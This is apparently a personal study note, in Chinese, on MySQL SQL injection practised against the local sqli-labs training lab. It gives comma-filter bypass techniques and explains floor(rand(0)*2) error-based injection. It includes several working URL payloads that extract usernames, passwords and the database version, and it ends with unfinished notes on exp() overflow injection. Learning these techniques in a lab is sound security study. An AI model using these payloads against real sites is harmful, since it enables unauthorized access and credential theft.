0x00 mac 终端打开MySQL 以及导出数据库
/Applications/XAMPP/xamppfiles/bin/mysql -h localhost -u root -p
导出数据库
mysqldump -u root -p security > /Users/max/Desktop/1.txt
0X01 过滤逗号绕过
substr(database(),1,1)
=> substr((database()) from 1 for 1) #(database()) 注意外括号
union select 1,2,3
=> union select * from ((select 1)a join (select 2)b join (select 3)c)
ex.
SELECT username FROM `users` WHERE id=-1 UNION SELECT * FROM ((SELECT 1)a)
0x02 floor() 报错注入
以sqli-labs/Less-1为例
payload
http://localhost/sqli-labs/Less-1/?id=1' and (select 1 from (select count(*),concat((select concat(username,'_',password,'@') from users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
知识点
floor() 向下取整数
rand() 一个不大于1的随机值
此时随机值不可控 在之后的group by中需要随机值有一定规律 故对rand()传参如下
count与group by的虚拟表
group by 之后的字段为虚拟表的主键
如下图为报错情况
原理
mysql官方有给过提示,就是查询的时候如果使用rand()的话,该值会被计算多次,那这个“被计算多次”到底是什么意思,就是使用group by的时候,floor(rand(0)*2)会被执行一次,如果虚表不存在记录,插入虚表的时候会再被执行一次,另外,floor(rand(0)*2)的值是定性的,为011011…
group by语句后面的字段会被运算两次,第一次为查询 结果为空则进行第二次: 插入
第一回
取第一条记录,执行floor(rand(0)*2),发现结果为0(第一次计算),查询虚拟表,发现0的键值不存在,则floor(rand(0)*2)会被再计算一次,结果为1(第二次计算),插入虚表,这时第一条记录查询完毕
第二回
查询第二条记录,再次计算floor(rand(0)*2),发现结果为1(第三次计算),查询虚表,发现1的键值存在,所以floor(rand(0)2)不会被计算第二次,直接count()加1,第二条记录查询完毕
第三回
查询第三条记录,再次计算floor(rand(0)*2),发现结果为0(第4次计算),查询虚表,发现键值没有0,则数据库尝试插入一条新的数据,在插入数据时floor(rand(0)*2)被再次计算,作为虚表的主键,其值为1(第5次计算),然而1这个主键已经存在于虚拟表中,而新计算的值也为1(主键键值必须唯一),所以插入的时候报错
构造
ex.1
http://localhost/sqli-labs/Less-1/?id=-1' union select 1,count(*),concat((select concat(username,'_',password,'@') from users limit 1,1),'@',floor(rand(0)*2))x from users group by x--+
ex.2
http://localhost/sqli-labs/Less-1/?id=1' and (select 1 from(select count(*),concat(@@version,'@',floor(rand(0)*2))x from users group by x)a)--+
因为如果构造
http://localhost/sqli-labs/Less-1/?id=1' and (select count(*),concat(@@version,'@',floor(rand(0)*2))x from users group by x)--+
操作数应包含1列
exp()
知识点
对数值0逐位取反,得到一个无符号的最大BIGINT值
对~0进行加减运算,会导致BIGINT溢出错误(不太懂道理)
一个查询成功的返回值为0,将其与非(!)结合
绕过column注入
为什么不直接用*?